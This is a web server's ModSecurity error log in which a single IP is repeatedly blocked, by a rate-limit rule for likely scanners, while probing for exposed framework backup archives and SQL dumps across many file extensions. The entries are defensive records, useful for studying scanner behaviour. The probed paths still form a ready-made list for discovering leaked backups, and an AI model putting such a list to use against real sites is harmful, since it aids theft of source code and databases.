[Fri May 15 10:00:42.919106 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:45886] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.tgz"] [unique_id "agZ-Sge36qIGegR4kcmBigAAAFY"]
[Fri May 15 10:00:43.769475 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:45902] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.tar"] [unique_id "agZ-S972N9CbeiqcqgPVLQAAAUU"]
[Fri May 15 10:00:44.644657 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:45916] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.tar.bz2"] [unique_id "agZ-TN72N9CbeiqcqgPVLwAAAUA"]
[Fri May 15 10:00:45.589819 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:42534] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.tar.xz"] [unique_id "agZ-Td72N9CbeiqcqgPVNQAAAU8"]
[Fri May 15 10:00:46.424607 2026] [:error] [pid 1190:tid 1259] [client 34.97.8.90:42536] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.7z"] [unique_id "agZ-TtqiXrD7hne4gFbJmwAAAIc"]
[Fri May 15 10:00:47.343083 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:42546] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.rar"] [unique_id "agZ-Twe36qIGegR4kcmBjAAAAFE"]
[Fri May 15 10:00:48.208358 2026] [:error] [pid 50531:tid 50534] [client 34.97.8.90:42548] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.gz"] [unique_id "agZ-UB3WbFwE6voqGzrkVAAAAQE"]
[Fri May 15 10:00:49.046171 2026] [:error] [pid 1190:tid 1255] [client 34.97.8.90:42558] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.bz2"] [unique_id "agZ-UdqiXrD7hne4gFbJnAAAAIM"]
[Fri May 15 10:00:49.907840 2026] [:error] [pid 1190:tid 1257] [client 34.97.8.90:42566] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.zst"] [unique_id "agZ-UdqiXrD7hne4gFbJnQAAAIU"]
[Fri May 15 10:00:50.790866 2026] [:error] [pid 1190:tid 1276] [client 34.97.8.90:42570] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.sql.gz"] [unique_id "agZ-UtqiXrD7hne4gFbJngAAAJg"]
[Fri May 15 10:00:51.671801 2026] [:error] [pid 1189:tid 1230] [client 34.97.8.90:42586] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.sql.bz2"] [unique_id "agZ-Uwe36qIGegR4kcmBjgAAAEU"]
[Fri May 15 10:00:52.585859 2026] [:error] [pid 1188:tid 1209] [client 34.97.8.90:42602] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/drupal.sql"] [unique_id "agZ-VNY68iW8yuNkNzPw8QAAAAw"]
[Fri May 15 10:01:03.407726 2026] [:error] [pid 1295:tid 1322] [client 34.97.8.90:46274] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/laravel.sql.gz"] [unique_id "agZ-X9mMhqLvs0GYixkcEgAAANg"]
[Fri May 15 10:01:04.329374 2026] [:error] [pid 1295:tid 1321] [client 34.97.8.90:46282] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/laravel.sql.bz2"] [unique_id "agZ-YNmMhqLvs0GYixkcEwAAANc"]
[Fri May 15 10:01:05.261100 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:57304] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/laravel.sql"] [unique_id "agZ-YQe36qIGegR4kcmBnAAAAFE"]
[Fri May 15 10:01:06.166797 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:57318] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.zip"] [unique_id "agZ-Yge36qIGegR4kcmBnQAAAFU"]
[Fri May 15 10:01:07.046984 2026] [:error] [pid 1189:tid 1243] [client 34.97.8.90:57334] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.tar.gz"] [unique_id "agZ-Ywe36qIGegR4kcmBnwAAAFI"]
[Fri May 15 10:01:07.971079 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:57344] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.tgz"] [unique_id "agZ-Y972N9CbeiqcqgPVPgAAAVg"]
[Fri May 15 10:01:08.829502 2026] [:error] [pid 1295:tid 1308] [client 34.97.8.90:57348] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.tar"] [unique_id "agZ-ZNmMhqLvs0GYixkcFAAAAMo"]
[Fri May 15 10:01:09.756854 2026] [:error] [pid 1295:tid 1314] [client 34.97.8.90:57352] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.tar.bz2"] [unique_id "agZ-ZdmMhqLvs0GYixkcFQAAANA"]
[Fri May 15 10:01:10.664345 2026] [:error] [pid 1189:tid 1239] [client 34.97.8.90:57362] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.tar.xz"] [unique_id "agZ-Zge36qIGegR4kcmBpAAAAE4"]
[Fri May 15 10:01:11.603525 2026] [:error] [pid 1295:tid 1300] [client 34.97.8.90:57378] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.7z"] [unique_id "agZ-Z9mMhqLvs0GYixkcFgAAAMI"]
[Fri May 15 10:01:12.596544 2026] [:error] [pid 50531:tid 50546] [client 34.97.8.90:57394] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.rar"] [unique_id "agZ-aB3WbFwE6voqGzrkWAAAAQ0"]
[Fri May 15 10:01:13.514597 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:57396] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.gz"] [unique_id "agZ-adqiXrD7hne4gFbJogAAAJc"]
[Fri May 15 10:01:14.442203 2026] [:error] [pid 50531:tid 50542] [client 34.97.8.90:57410] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.bz2"] [unique_id "agZ-ah3WbFwE6voqGzrkWQAAAQk"]
[Fri May 15 10:01:15.326233 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:58216] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.zst"] [unique_id "agZ-a9mMhqLvs0GYixkcFwAAAM0"]
[Fri May 15 10:01:16.185870 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:58224] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.sql.gz"] [unique_id "agZ-bAe36qIGegR4kcmBqAAAAFY"]
[Fri May 15 10:01:17.061128 2026] [:error] [pid 50531:tid 50549] [client 34.97.8.90:58238] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.sql.bz2"] [unique_id "agZ-bR3WbFwE6voqGzrkWgAAARA"]
[Fri May 15 10:01:18.029568 2026] [:error] [pid 50531:tid 50555] [client 34.97.8.90:58250] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/symfony.sql"] [unique_id "agZ-bh3WbFwE6voqGzrkWwAAARY"]
[Fri May 15 10:01:18.979223 2026] [:error] [pid 1190:tid 1261] [client 34.97.8.90:58252] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.zip"] [unique_id "agZ-btqiXrD7hne4gFbJpQAAAIk"]
[Fri May 15 10:01:19.883073 2026] [:error] [pid 1188:tid 1210] [client 34.97.8.90:58262] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.tar.gz"] [unique_id "agZ-b9Y68iW8yuNkNzPw-wAAAA0"]
[Fri May 15 10:01:20.833086 2026] [:error] [pid 50531:tid 50553] [client 34.97.8.90:58276] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.tgz"] [unique_id "agZ-cB3WbFwE6voqGzrkXAAAARQ"]
[Fri May 15 10:01:21.787364 2026] [:error] [pid 50531:tid 50556] [client 34.97.8.90:58292] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.tar"] [unique_id "agZ-cR3WbFwE6voqGzrkXQAAARc"]
[Fri May 15 10:01:22.697513 2026] [:error] [pid 51234:tid 51238] [client 34.97.8.90:58298] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.tar.bz2"] [unique_id "agZ-ct72N9CbeiqcqgPVRQAAAUI"]
[Fri May 15 10:01:23.669046 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:58300] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.tar.xz"] [unique_id "agZ-c972N9CbeiqcqgPVRwAAAUU"]
[Fri May 15 10:01:24.551772 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:58312] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.7z"] [unique_id "agZ-dN72N9CbeiqcqgPVSAAAAVM"]
[Fri May 15 10:01:25.431993 2026] [:error] [pid 1190:tid 1264] [client 34.97.8.90:36782] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.rar"] [unique_id "agZ-ddqiXrD7hne4gFbJpwAAAIw"]
[Fri May 15 10:01:26.302294 2026] [:error] [pid 1190:tid 1252] [client 34.97.8.90:36788] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.gz"] [unique_id "agZ-dtqiXrD7hne4gFbJqAAAAIA"]
[Fri May 15 10:01:27.141872 2026] [:error] [pid 1295:tid 1313] [client 34.97.8.90:36804] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.bz2"] [unique_id "agZ-d9mMhqLvs0GYixkcHAAAAM8"]
[Fri May 15 10:01:28.040807 2026] [:error] [pid 1188:tid 1209] [client 34.97.8.90:36808] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.zst"] [unique_id "agZ-eNY68iW8yuNkNzPw_QAAAAw"]
[Fri May 15 10:01:28.933278 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:36812] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.sql.gz"] [unique_id "agZ-eN72N9CbeiqcqgPVSQAAAUQ"]
[Fri May 15 10:01:29.872077 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:36826] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.sql.bz2"] [unique_id "agZ-ed72N9CbeiqcqgPVSgAAAUM"]
[Fri May 15 10:01:30.784707 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:36830] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/django.sql"] [unique_id "agZ-et72N9CbeiqcqgPVTAAAAU0"]
[Fri May 15 10:01:31.698569 2026] [:error] [pid 1190:tid 1271] [client 34.97.8.90:36842] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.zip"] [unique_id "agZ-e9qiXrD7hne4gFbJqwAAAJM"]
[Fri May 15 10:01:32.617118 2026] [:error] [pid 1188:tid 1220] [client 34.97.8.90:36844] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.tar.gz"] [unique_id "agZ-fNY68iW8yuNkNzPxAQAAABc"]
[Fri May 15 10:01:33.557390 2026] [:error] [pid 1188:tid 1213] [client 34.97.8.90:36858] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.tgz"] [unique_id "agZ-fdY68iW8yuNkNzPxBAAAABA"]
[Fri May 15 10:01:34.448871 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:36872] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.tar"] [unique_id "agZ-fh3WbFwE6voqGzrkYQAAAQI"]
[Fri May 15 10:01:35.346958 2026] [:error] [pid 1190:tid 1257] [client 34.97.8.90:57994] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.tar.bz2"] [unique_id "agZ-f9qiXrD7hne4gFbJrwAAAIU"]
[Fri May 15 10:01:36.269290 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:57996] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.tar.xz"] [unique_id "agZ-gN72N9CbeiqcqgPVUgAAAUE"]
[Fri May 15 10:01:37.178253 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:58004] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.7z"] [unique_id "agZ-gdqiXrD7hne4gFbJtAAAAJc"]
[Fri May 15 10:01:38.090433 2026] [:error] [pid 1190:tid 1264] [client 34.97.8.90:58008] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.rar"] [unique_id "agZ-gtqiXrD7hne4gFbJugAAAIw"]
[Fri May 15 10:01:38.980480 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:58024] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.gz"] [unique_id "agZ-gt72N9CbeiqcqgPVYQAAAUw"]
[Fri May 15 10:01:39.854740 2026] [:error] [pid 1190:tid 1265] [client 34.97.8.90:58032] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.bz2"] [unique_id "agZ-g9qiXrD7hne4gFbJvAAAAI0"]
[Fri May 15 10:01:40.719117 2026] [:error] [pid 1190:tid 1271] [client 34.97.8.90:58038] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.zst"] [unique_id "agZ-hNqiXrD7hne4gFbJvgAAAJM"]
[Fri May 15 10:01:41.603154 2026] [:error] [pid 50531:tid 50534] [client 34.97.8.90:58040] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.sql.gz"] [unique_id "agZ-hR3WbFwE6voqGzrkYwAAAQE"]
[Fri May 15 10:01:42.482685 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:58048] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/flask.sql.bz2"] [unique_id "agZ-hge36qIGegR4kcmBqQAAAEQ"]
